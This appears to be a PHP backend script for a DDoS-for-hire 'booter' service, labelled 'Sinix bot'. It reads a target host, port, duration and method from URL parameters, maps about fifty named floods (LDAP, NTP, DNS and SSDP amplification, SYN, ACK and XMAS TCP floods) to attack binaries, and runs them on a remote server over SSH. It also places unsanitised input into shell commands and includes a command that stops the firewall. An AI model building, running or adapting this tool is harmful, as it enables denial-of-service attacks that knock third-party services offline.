· 5 years ago · Oct 13, 2020, 12:30 AM
1<?php
2ignore_user_abort(true);
3set_time_limit(2);
4
5$server_ip = "IP";
6$server_pass = "PASS";
7$server_user = "USER";
8
9$key = $_GET['key'];
10$host = $_GET['host'];
11$port = intval($_GET['port']);
12$time = intval($_GET['time']);
13$method = $_GET['method'];
14$action = $_GET['action'];
15$time2 = $time;
16$limiter = '200000';
17$threads = '2';
18
19//arrays
20$array = array("stop","STOP","STOPALL","LDAP","SSDP","NTP","PORTMAP","CHARGEN","NETBIOS","SNMP","TS3","TFTP","RIP","SENTINEL","MSSQL","MDNS","DNS","DB2","HEARTBEAT","QUAKE","DRDOS","CSYN","DOMINATE","ESSYN","FRAG","ISSYN","SSYN","RST","TCP","TCP-ACK","TCP-FIN","TCP-XMAS","TCP-RST","TCP-PSH","TCP-SE","TELNET","VSE","WIZARD","XACK","XDCMP","XMAS","XSYN","ZAP","ZSYN","GREENSYN","SYNACK","SYNACKB","PROWIN","SYN9","WINSEQID","WINSYN","YUBINA",'SYNACKB');
21$ray = array("oommnjkjdhfjhfjdsaf");
22
23
24if (!empty($key)){
25}else{
26die('Error: API key is empty!');}
27
28
29if (in_array($key, $ray)){
30}else{
31die('Error: Incorrect API key!');}
32
33
34if (!empty($time)){
35}else{
36die('Error: time is empty!');}
37
38
39if (!empty($host)){
40}else{
41die('Error: Host is empty!');}
42
43if (!empty($method)){
44}else{
45die('Error: Method is empty!');}
46
47
48if (in_array($method, $array)){
49}else{
50die('Error: The method you requested does not exist!');}
51
52if ($port > 66605){
53die('Error: Ports over 66605 do not exist');}
54
55if ($time > 3600){ //if you with to change the time literally just change
56die('Error: Cannot exceed 3600 seconds!');} // time > 3600 to desired time, and change the "exceed 3600 seconds" to the desired time
57
58//scanned methods
59if ($method == "LDAP") { $command = "./ldap $host $port ldap.txt $threads $limiter $time"; } //ldap method
60if ($method == "SSDP") { $command = "./ssdp $host $port ssdp.txt $threads $limiter $time"; } //ssdp method
61if ($method == "NTP") { $command = "./ntp $host $port ntp.txt $threads $limiter $time"; } //NTP method
62if ($method == "PORTMAP") { $command = "./portmap $host $port portmap.txt $threads $limiter $time"; } //portmap method
63if ($method == "CHARGEN") { $command = "./chargen $host $port chargen.txt $threads $limiter $time"; } //chargen method
64if ($method == "NETBIOS") { $command = "./ldap $host $port netbios.txt $threads $limiter $time"; } //netbios method
65if ($method == "SNMP") { $command = "./ssdp $host $port snmp.txt $threads $limiter $time"; } //snmp method
66if ($method == "TS3") { $command = "./ntp $host $port ts3.txt $threads $limiter $time"; } //ts3 method
67if ($method == "TFTP") { $command = "./portmap $host $port tftp.txt $threads $limiter $time"; } //tftp method
68if ($method == "RIP") { $command = "./chargen $host $port rip.txt $threads $limiter $time"; } //rip method
69if ($method == "SENTINEL") { $command = "./ssdp $host $port sentinel.txt $threads $limiter $time"; } //sentinel method
70if ($method == "MSSQL") { $command = "./ntp $host $port mssql.txt $threads $limiter $time"; } //mssql method
71if ($method == "MDNS") { $command = "./portmap $host $port mdns.txt $threads $limiter $time"; } //mdns method
72if ($method == "DNS") { $command = "./ntp $host $port dns.txt $threads $limiter $time"; } //dns method
73if ($method == "DB2") { $command = "./portmap $host $port db2.txt $threads $limiter $time"; } //db2 method
74if ($method == "HEARTBEAT") { $command = "./chargen $host $port heartbeat.txt $threads $limiter $time"; } //heartbeat method
75if ($method == "QUAKE") { $command = "./quake $host $port quake.txt $threads $limiter $time"; } //quake method
76if ($method == "DRDOS") { $command = "./drdos $host $port drdos.txt $threads $time"; } //drdos
77
78//non scanned methods
79if ($method == "CSYN") { $command = "./csyn $host $port $threads $limiter $time"; } //csyn method
80if ($method == "DOMINATE") { $command = "./dominate $host $port $threads $limiter $time"; } //dominate method
81if ($method == "ESSYN") { $command = "./essyn.c $host $port $threads $limiter $time"; } //essyn method
82if ($method == "FRAG") { $command = "./frag $host $port $threads $limiter $time"; } //frag method
83if ($method == "ISSYN") { $command = "./issyn.c $host $threads $limiter $time"; } //issyn method
84if ($method == "SSYN") { $command = "./ssyn $host $port $threads $limiter $time"; } //ssyn method
85if ($method == "RST") { $command = "./rst $host $threads $limiter $time"; } //rst method
86if ($method == "TCP") { $command = "./tcp $host $port $threads $limiter $time"; } //tcp method
87if ($method == "TCP-ACK") { $command = "./tcp-ack $host $threads $limiter $time"; } //tcp-ack method
88if ($method == "TCP-FIN") { $command = "./tcp-fin $host $threads $limiter $time"; } //tcp-fin method
89if ($method == "TCP-XMAS") { $command = "./tcp-xmas $host $threads $limiter $time"; } //tcp-xmas method
90if ($method == "TCP-RST") { $command = "./tcp-rst $host $threads $limiter $time"; } //tcp-rst method
91if ($method == "TCP-PSH") { $command = "./tcp-psh $host $threads $limiter $time"; } //tcp-rst method
92if ($method == "TCP-SE") { $command = "./tcp-se $host $port $threads $limiter $time"; } //tcp-se method
93if ($method == "TELNET") { $command = "./telnet.c $host $threads $limiter $time"; } //telnet method
94if ($method == "VSE") { $command = "./vse $host $threads $limiter $time"; } //vse method
95if ($method == "WIZARD") { $command = "./tcp-ack $host $port $threads $limiter $time"; } //wizard method
96if ($method == "XACK") { $command = "./xack $host $threads $limiter $time"; } //xack method
97if ($method == "XDCMP") { $command = "./telnet.c $host $port other.txt $threads $limiter $time"; } //xdcmp method
98if ($method == "XMAS") { $command = "./xmas $host $threads $limiter $time"; } //xmas method
99if ($method == "XSYN") { $command = "./xsyn $host $port $threads $limiter $time"; } //xsyn method
100if ($method == "ZAP") { $command = "./zap $host $port $threads $limiter $time"; } //zap method
101if ($method == "ZSYN") { $command = "./zsyn $host $port $threads $limiter $time"; } //zap method
102
103//special tcpmethods
104if ($method == "GREENSYN") { $command .= "screen -dm timeout $time sh greensyn.sh $host $port "; }
105if ($method == "SYNACK") { $command .= "screen -dm timeout $time sh synack.sh $host $port "; }
106if ($method == "SYN9") { $command .= "screen -dm timeout $time sh syn9.sh $host $port "; }
107if ($method == "SYNACKB") { $command .= "screen -dm timeout $time sh synackb.sh $host $port "; }
108if ($method == "PROWIN") { $command .= "./prowin $host "; }
109if ($method == "WINSEQID") { $command .= "./winseqid.c $host "; }
110if ($method == "WINSYN") { $command .= "./winsyn.c $host "; }
111if ($method == "YUBINA") { $command .= "./yubina.c $host "; }
112
113if ($method == "STOP") { $command = "pkill $host -f"; }
114if ($method == "stop") { $command = "pkill $host -f"; }
115if ($method == "STOPALL") { $command = "pkill all"; }
116if ($method == "EMERGENCY1") { $command = "service ssh restart | service iptables stop"; }
117
118
119if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
120if(!($con = ssh2_connect($server_ip, 22))){
121 echo "Error: Connection Issue";
122} else {
123
124
125 if(!ssh2_auth_password($con, $server_user, $server_pass)) {
126 echo "Error: Login failed, one or more of you're server credentials are incorrect.";
127 } else {
128
129
130 if (!($stream = ssh2_exec($con, $command ))) {
131 echo "Error: You're server was not able to execute you're methods file and or its dependencies";
132 } else {
133
134 stream_set_blocking($stream, false);
135 $data = "";
136 while ($buf = fread($stream,4096)) {
137 $data .= $buf;
138 }
139 echo "Sinix bot :</br>Hitting: $host</br>On Port: $port </br>Attack Length: $time</br>With: $method " ;
140 fclose($stream);
141 }
142 }
143}
144?>